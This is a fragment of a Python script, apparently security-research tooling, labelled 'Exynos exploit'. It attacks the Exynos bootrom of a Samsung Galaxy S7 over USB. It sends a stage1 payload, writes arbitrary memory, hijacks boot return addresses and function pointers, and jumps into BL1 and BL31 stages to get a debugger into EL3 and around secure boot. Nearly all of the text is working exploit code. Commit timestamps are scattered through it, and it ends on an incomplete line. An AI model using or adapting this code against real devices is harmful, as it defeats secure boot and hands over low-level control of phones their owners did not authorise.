print ( f " Bits: { ttbr0 : 064b } " )
# Overwrite it with 0's
2024-08-29 19:06:15 +00:00
self . cd . memwrite_region ( 0x0206ed10 , b " \x00 " * 0x8 )
ttbr0 = self . cd . memdump_region ( 0x206ed10 , 0x8 )
assert ttbr0 == b " \x00 " * 0x8 , " TTBR0_EL3 not overwritten "
def test_write_execute ( self , address ) :
"""
At given address , test if it is possible to write and execute code , by writing a simple jump to , and jump back .
"""
self . usb_write ( b ' PING ' )
assert self . usb_read ( 0x200 ) == b ' PONG ' , " Debugger not alive before test "
shellcode = f """
mov x1 , lr
ret
"""
shellcode = ks . asm ( shellcode , as_bytes = True ) [ 0 ]
self . cd . memwrite_region ( address , shellcode )
self . cd . jump_to ( address )
self . usb_write ( b " PING " )
assert self . usb_read ( 0x200 ) == b " PONG " , " Failed to jump back to debugger "
print ( f ' Jumped to { hex ( address ) } and back ' )
2024-08-28 16:45:05 +00:00
2024-08-09 10:57:34 +00:00
2024-08-16 16:15:53 +00:00
def debugger_boot ( self ) :
"""
Boot into USB recovery mode using the debugger .
"""
self . setup_guppy_debugger ( )
2024-08-08 17:46:04 +00:00
2024-08-16 16:15:53 +00:00
self . cd . arch_dbg . state . auto_sync = False
self . cd . arch_dbg . state . auto_sync_special = False
logger . debug ( ' State after setting up initial debugger ' )
2024-08-05 17:37:13 +00:00
self . cd . arch_dbg . state . print_ctx ( )
2024-08-16 16:15:53 +00:00
2024-08-28 16:45:05 +00:00
DEBUGGER_ADDR = 0x2069000 # 0x2069000
# Relocate to other debugger
2024-08-29 19:06:15 +00:00
debugger = open ( " ../../dump/reloc_debugger_0x2048000.bin " , " rb " ) . read ( )
2024-08-28 16:45:05 +00:00
self . relocate_debugger ( debugger = debugger , entry = 0x02048000 , storage = 0x02051000 , g_data_received = 0x02052000 )
DEBUGGER_ADDR = 0x02048000
2024-08-16 16:15:53 +00:00
### Overwrite boot_usb_ra to our debugger
self . cd . test_connection ( )
2024-08-28 16:45:05 +00:00
2024-08-16 16:15:53 +00:00
hijacked_usb_ra = self . cd . memdump_region ( 0x02020f60 , 8 )
2024-08-16 17:37:25 +00:00
self . cd . memwrite_region ( 0x02020f60 , p64 ( DEBUGGER_ADDR ) )
2024-08-16 16:15:53 +00:00
### Set link register and boot into the USB function
BOOT_USB_FUNCTION = 0x000064e0
self . cd . arch_dbg . state . LR = DEBUGGER_ADDR
self . cd . restore_stack_and_jump ( BOOT_USB_FUNCTION )
time . sleep ( 1 )
self . connect_device ( )
# Setup jump and authentication
AUTH_BL1 = 0x00012848
def auth_bl1 ( lr = 0x2069000 ) :
# Load the firmware
self . cd . arch_dbg . state . X0 = 1
self . cd . arch_dbg . state . X1 = 1
self . cd . arch_dbg . state . LR = lr #jump back to debugger when finished
self . cd . restore_stack_and_jump ( AUTH_BL1 )
assert self . usb_read ( 0x200 ) == b " GiAs " , " Failed to jump back to debugger "
### Check if authentication was successful - X0 should not be 0??
# assert self.cd.arch_dbg.state.X0 == 0, "auth_bl1 returned with error!"
JUMP_BL1 = 0x000002c0
def jump_bl1 ( lr ) :
self . cd . arch_dbg . state . LR = lr
self . cd . restore_stack_and_jump ( JUMP_BL1 )
# Send boot stage 1
self . send_normal_stage ( open ( " ../S7/g930f_latest/g930f_sboot.bin.1.bin " , " rb " ) . read ( ) )
assert self . usb_read ( 0x200 ) == b " GiAs " , " Failed to jump back to debugger "
2024-08-17 10:24:47 +00:00
# BL1 is loaded, now authenticat and patch it
2024-08-16 16:15:53 +00:00
auth_bl1 ( DEBUGGER_ADDR )
self . usb_write ( b " FLSH " ) # Flush cache
2024-08-26 15:45:29 +00:00
2024-08-17 10:24:47 +00:00
hijacked_fun = u32 ( self . cd . memdump_region ( 0x020200dc , 4 ) )
2024-08-22 17:50:46 +00:00
2024-08-17 10:24:47 +00:00
self . cd . memwrite_region ( 0x020200dc , p32 ( DEBUGGER_ADDR ) ) # hijack ROM_DOWNLOAD_USB for BL31
2024-08-18 11:55:11 +00:00
self . cd . memwrite_region ( 0x02021880 , self . cd . arch_dbg . sc . branch_absolute ( DEBUGGER_ADDR , branch_ins = " br " ) )
2024-08-16 16:15:53 +00:00
jump_bl1 ( DEBUGGER_ADDR )
2024-08-17 10:24:47 +00:00
2024-08-17 10:27:56 +00:00
# ==== BL31 ====
2024-08-17 10:24:47 +00:00
assert self . usb_read ( 0x200 ) == b " GiAs " , " Failed to jump back to debugger "
2024-08-28 16:45:05 +00:00
self . get_ttbr0_el3 ( )
# self.check_mem_write_execute(0x020c0000)
2024-08-18 11:55:11 +00:00
# Download next stage via ROM_DOWNLOAD_USB
2024-08-17 18:35:52 +00:00
lr = self . cd . arch_dbg . state . LR
self . cd . arch_dbg . state . LR = DEBUGGER_ADDR
self . cd . restore_stack_and_jump ( hijacked_fun ) # will jump back to debugger after downloading the next stage
2024-08-16 16:15:53 +00:00
time . sleep ( 2 )
self . connect_device ( )
2024-08-18 11:55:11 +00:00
self . send_normal_stage ( open ( " ../S7/g930f_latest/g930f_sboot.bin.2.bin " , " rb " ) . read ( ) )
2024-08-17 18:35:52 +00:00
time . sleep ( 2 )
self . usb_read ( 0x200 ) # GiAs
2024-08-26 15:45:29 +00:00
# lr = self.cd.arch_dbg.state.LR
2024-08-28 16:45:05 +00:00
# self.cd.memwrite_region(0x020200dc, p32(hijacked_fun)) # Resore oginal boot flow
self . get_ttbr0_el3 ( )
2024-08-17 18:35:52 +00:00
self . cd . restore_stack_and_jump ( lr )
2024-08-26 15:45:29 +00:00
2024-08-18 11:55:11 +00:00
time . sleep ( 2 )
2024-08-26 15:45:29 +00:00
self . usb_read ( 0x200 ) # GiAs
2024-08-22 17:50:46 +00:00
self . cd . memwrite_region ( 0x02031008 , b " ELH " )
2024-08-28 16:45:05 +00:00
# trampoline = self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR, branch_ins="br") # Keep LR
# self.cd.memwrite_region(0x02024020, trampoline)
2024-08-26 15:45:29 +00:00
2024-08-28 16:45:05 +00:00
# ====== PATCHES TO BL31 here! ======
# Relocate to other debugger
# debugger = open("../../dump/reloc_debugger_0x2019e5c.bin", "rb").read()
# self.relocate_debugger(debugger=debugger, entry=0x14AC0000, storage=0x14AC3000, g_data_received=0x14AC4000)
# DEBUGGER_ADDR = 0x14AC0000
2024-08-18 11:55:11 +00:00
2024-08-26 15:45:29 +00:00
# Jump BL31
2024-08-28 16:45:05 +00:00
self . cd . arch_dbg . state . LR = DEBUGGER_ADDR
self . cd . memwrite_region ( 0x20219b8 , p32 ( DEBUGGER_ADDR ) )
# self.cd.restore_stack_and_jump(hijacked_fun)
2024-08-29 19:06:15 +00:00
# Write 'a1 00 00 00' to 0x0202a330
2024-08-18 11:55:11 +00:00
self . cd . restore_stack_and_jump ( 0x02024010 )
2024-08-26 15:45:29 +00:00
2024-08-17 10:24:47 +00:00
time . sleep ( 2 )
2024-08-16 16:15:53 +00:00
self . connect_device ( )
2024-08-17 18:35:52 +00:00
2024-08-28 16:45:05 +00:00
self . usb_read ( 0x200 ) # GiAs
self . cd . arch_dbg . fetch_special_regs ( )
2024-08-29 19:06:15 +00:00
BL31_ra = self . cd . arch_dbg . state . LR
# Relocate debugger back to the start of the stack
# debugger = open("../../dump/reloc_debugger_0x2019e5c.bin", "rb").read()
# self.relocate_debugger(debugger=debugger, entry=0x14ac3000, storage=0x14ac4200, g_data_received=0x14ac4400)
# DEBUGGER_ADDR = 0x14ac3000
# Again restore bootflow
self . cd . memwrite_region ( 0x020200dc , p32 ( hijacked_fun ) )
self . cd . restore_stack_and_jump ( hijacked_fun )
time . sleep ( 2 )
2024-08-16 16:15:53 +00:00
2024-08-17 10:27:56 +00:00
# ==== Stage 3 BL2 ====
2024-08-26 15:45:29 +00:00
self . send_normal_stage ( open ( " ../S7/g930f_latest/g930f_sboot.bin.3.bin " , " rb " ) . read ( ) )
2024-08-16 16:15:53 +00:00
time . sleep ( 2 )
self . connect_device ( )
2024-08-17 10:27:56 +00:00
# ==== Stage 4 ====
2024-08-17 18:35:52 +00:00
stage4 = open ( " ../S7/g930f_latest/g930f_sboot.bin.4.bin " , " rb " ) . read ( )
# Patching
2024-08-26 15:45:29 +00:00
2024-08-21 17:00:18 +00:00
# stage4_len = len(stage4)
# patch_len = len(b"USB RECOVERY MODE")
# patch = b"ELHER HERE" + (b"\x00" * (patch_len - len(b"ELHER HERE")))
# patch_offset = stage4.find(b"USB RECOVERY MODE")
# stage4 = stage4[:patch_offset] + patch + stage4[patch_len + patch_offset:]
# assert len(stage4) == stage4_len, "Invalid stage4 length"
2024-08-17 18:35:52 +00:00
self . send_normal_stage ( stage4 )
2024-08-16 16:15:53 +00:00
time . sleep ( 2 )
2024-08-17 18:35:52 +00:00
2024-08-05 17:37:13 +00:00
pass
2024-08-02 13:51:35 +00:00
2024-08-29 19:06:15 +00:00
2024-08-02 13:51:35 +00:00
if __name__ == " __main__ " :
arg = argparse . ArgumentParser ( " Exynos exploit " )
2024-08-05 12:51:04 +00:00
arg . add_argument ( " --debug " , action = " store_true " , help = " Debug USB stack " , default = False )
2024-08-16 16:15:53 +00:00
arg . add_argument ( " --unsecure-boot " , action = " store_true " , help = " Unsecure boot " , default = False )
arg . add_argument ( " --debugger-boot " , action = " store_true " , help = " Unsecure boot " , default = False )
2024-08-07 17:13:35 +00:00
2024-08-12 16:58:49 +00:00
args = arg . parse_args ( )
2024-08-02 13:51:35 +00:00
exynos = ExynosDevice ( )
2024-08-08 17:46:04 +00:00
2024-08-09 20:16:13 +00:00
if args . debug :
2024-08-08 17:46:04 +00:00
shellcode = open ( " ../dwc3_test/dwc3.bin " , " rb " ) . read ( )
exynos . exploit ( shellcode )
2024-08-09 20:16:13 +00:00
exynos . dump_memory ( write = True )
# exynos.usb_debug()
sys . exit ( 0 )
2024-08-16 08:11:18 +00:00
2024-08-16 16:15:53 +00:00
if args . unsecure_boot :
2024-08-16 08:11:18 +00:00
exynos . unsecure_boot ( )
sys . exit ( 0 )
2024-08-08 17:46:04 +00:00
2024-08-09 20:16:13 +00:00
stage1 = open ( " stage1/stage1.bin " , " rb " ) . read ( )
exynos . exploit ( stage1 )
2024-08-16 16:15:53 +00:00
if args . debugger_boot :
exynos . debugger_boot ( )
sys . exit ( 0 )
2024-08-09 20:16:13 +00:00
exynos . setup_guppy_debugger ( )
exynos . dumb_interact ( )
2024-08-08 17:46:04 +00:00
sys . exit ( 0 )
2024-08-29 19:06:15 +00:00
with open ( )